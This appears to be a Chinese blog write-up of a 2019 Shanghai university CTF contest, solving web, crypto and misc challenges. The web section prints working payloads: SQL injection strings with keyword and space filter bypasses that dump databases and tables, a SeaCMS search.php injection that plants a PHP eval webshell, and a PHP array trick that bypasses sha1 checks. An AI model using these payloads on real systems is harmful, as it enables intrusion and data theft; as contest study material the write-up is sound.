美文网首页ctfCTF比赛解题报告整理
“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全

“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全

作者: 蓝小俊 | 来源:发表于2019-04-01 22:44 被阅读27次

    比赛时间:3月30日9:00-21:00
    比赛网站:ctf.ecnu.edu.cn

    Web1 土肥原贤二 100pt

    题目 查询
    在页面URL处尝试提交gid=1'报错,gid=1or1=1回显正常,直接使用 sqlmap进行测试,得到flag: sqlmap

    得到flag:

    flag{20_welcome_19 }

    Web2 戴星炳 200pt

    题目
    题目提示

    根据题目要求在2s快速提交正确结果即可获取flag,Python脚本如下:

    # coding=utf-8
    import io
    import re
    import requests
    
    s = requests.Session()
    url = "http://47.103.43.235:82/web/a/index.php"
    req = s.get(url)
    str= req.content
    print(str.decode('utf-8'))
    
    tmp = re.search(r'</p><p>(.*)</p>',str.decode('utf-8'))
    print(tmp.group(1))
    
    key_value = {
        "result": eval(tmp.group(1))
    }
    print(eval(tmp.group(1)))
    req = s.post("http://47.103.43.235:82/web/a/index.php", data=key_value)
    print(req.text)
    

    运行结果:flag{Y0U4R33o_F4ST!}。

    Web3 MD5碰撞

    题目

    右键查看源代码,发现提示

    图片.png

    网上查阅资料,进行MD5碰撞即可
    Payload:

    param1=
    %D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
    &param2=
    %D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
    
    图片.png
    得到:flag{MD5@_@success}

    Web4 SeaCMS

    题目

    参考Seacms漏洞分析利用复现 By Assassin Search.php漏洞利用姿势,写入一句话木马,用Cknife连接之。

    漏洞Ployload

    Ployload:http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[cmd])
    在根目录下发现flag.txt,获取flag{!!seacms_@@}

    菜刀

    Web5 Break the sha

    图片.png
    F12查看源代码发现,存在源代码泄露,访问下载index.phps文件打开获取:
    源代码
    name与password字段用 ==弱类型进行比较,sha1用 ===进行强类型比较,可以用数组绕过。
    Payload:name[]=1&password[]=2
    回显:得到flag{Y0ujustbr0ke_sha1} 回显

    Web6 SQLi2

    题目

    观察到 id===MQ,QM==是1的Base64编码,推测为Base64编码后逆序传值。
    手工注入测试发现过滤了 and、 or、 select、 union关键字,去除了单引号、双引号、等号、空格等字符,可以双写绕过关键字的过滤,采用 /**/绕过空格,使用字符窜的hex编码绕过引号以及使用 regexp或like绕过等号。

    • 查询字段
      1/**/oorrder/**/by/**/6
    • 爆数据库:
    -1/**/uniunionon/**/selselectect/**/1,group_concat(schema_name),3,4,5,6/**/from/**/infoorrmation_schema.schemata--
    
    爆数据库

    或者1/**/ununionion/**/selselectect/**/database(),2,3,4,5,6 得到当前使用ctf_sql数据库

    • 爆ctf_sql中的表
    -1/**/uniunionon/**/selselectect/**/1,group_concat(table_name),3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/regexp/**/0x6374665f73716c--
    
    爆ctf_sql中的表
    1/**/ununionion/**/selselectect/**/group_concat(table_name),2,3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()
    

    得到数据表book,flag

    • 爆flag中的列
    1/**/uniunionon/**/selselectect/**/1,group_concat(column_name),3,4,5,6/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/regexp/**/0x666c6167--
    
    爆flag中的列

    得到字段flag

    • 获取flag
    -1/**/uniunionon/**/selselectect/**/1,group_concat(flag),3,4,5,6/**/from/**/flag--
    
    获取flag
    得到flag{s9li_1s_s0_e4sY}

    Crypto1 神秘代码

    题目
    Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE
    

    在Base64解密不断进行B64解密得到:fB__l621a4h4g_ai{&i}
    零散看到flag,明显是栅栏密码,每组字符数 5,进行解密

    栅栏密码解密
    得到flag{B64&2hai_14i}

    Crypto2 神秘代码2

    题目

    观察发现
    f比b ASCII大4
    l比 q ASCII 大 5
    a 比[ ASCII 大 6
    g比` ASCII 大 7
    猜想接下来的明文ASCII 比 密文ASCII 大8,9,10,11
    Ployload:

    str="bg[`sZ*Zg'dPfP`VM_SXVd"
    j=0
    str1 = ''
    for i in range(4,26):
        str1 += chr(ord(str[j])+i)
        j=j+1
    print str1
    

    Crypto3 希尔密码

    题目
    给出加密矩阵和密文求明文,这里可以参考希尔密码解密过程求出33解密矩阵:
    [[8,16,27],[8,99 ,24],[27,24,27]],这里乘上3
    4密文矩阵 [[23,10,12,24],[16,2,25,3,],[9,0,9,5]]得到矩阵:
    矩阵
    对26进行取余后转化为字符打印得到 hillisflagxx,C++脚本:
        #include <iostream>
        using namespace std;
        int a[12] = {683,112,739,375,1984,278,2787,609,1248,318,1167,855};
        int main() {
            for(int i = 0; i < 12; i++) {
                cout << (char)('a' + a[i] % 26);
            }
            return 0;
        }
    

    Crypto4 RSA256

    拿到公钥和密文

    -----BEGIN PUBLIC KEY-----
    MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKm9THp3YzcKBC/mvsfdyEFgLblCx6Ni
    0bXTcqTQiRLZAgMBAAE=
    -----END PUBLIC KEY-----
    

    修改文件后缀为pem
    通过openssl进行分解得到n和e,在通过yafu-x64分解得到 p和q,使用python脚本得到私钥

    # coding=utf-8
    import math
    import sys
    import libnum
    from Crypto.PublicKey import RSA
    keypair = RSA.generate(1024)
    keypair.p =273821108020968288372911424519201044333
    keypair.q =280385007186315115828483000867559983517
    keypair.e = 65537
    keypair.n = keypair.p * keypair.q
    Qn = long((keypair.p-1) * (keypair.q-1))
    keypair.d=libnum.invmod(keypair.e,Qn)
    private = open('private.pem','w')
    private.write(keypair.exportKey())
    private.close()
    

    再使用 openssl,修改fllllag.txt文件为flag.enc
    rsautl -decrypt -in flag.enc -inkey private.pem解密得到flag{2o!9CTFECUN}

    Misc1 奇怪的单点音

    播放音频有明显的杂音和3次嘟声,尝试用 Aduacity打开分析,观察频谱图发现flag字段:


    题目

    观察到字符串(含下划线)共32位,疑似MD5加密,根据文件信息发现多次出现0,将下划线替换成0,ChaMd5.org成功解密。


    文件信息 解密

    Misc2 二维码

    题目

    首先扫描二维码,未发现有用信息,下载图片尝试使用 binwalk进行探测,发现存在压缩包文件,得到Hint:解压密码为管理人员的QQ号,使用binwalk -e 分离后使用ARCHPR进行爆破。


    爆破

    获取密码 674290437,解压得到flag{d6@YX$_m^aa0}。


    得到flag

    Misc3 jsfuck

    题目

    Base64解码后得到 jsfuck加密的js脚本,直接复制在控制台Console运行即可获取flag{sdf465454dfgert32}。

    解密

    Crypto&Misc&RE题目下载链接: https://pan.baidu.com/s/10tlJmUVZtekuYNgTi9eCNQ 提取码: bkiv
    参考资料:
    “嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全夺旗赛预赛wp公布
    2019“嘉韦思杯”上海市网络安全邀请赛WriteUp
    2019年上海“嘉韦思杯”WP
    http://www.mamicode.com/info-detail-2647027.html
    2019 嘉韦思杯 除re wp
    2019年嘉韦思杯wp

    相关文章

      网友评论

        本文标题:“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全

        本文链接:https://www.haomeiwen.com/subject/jazbbqtx.html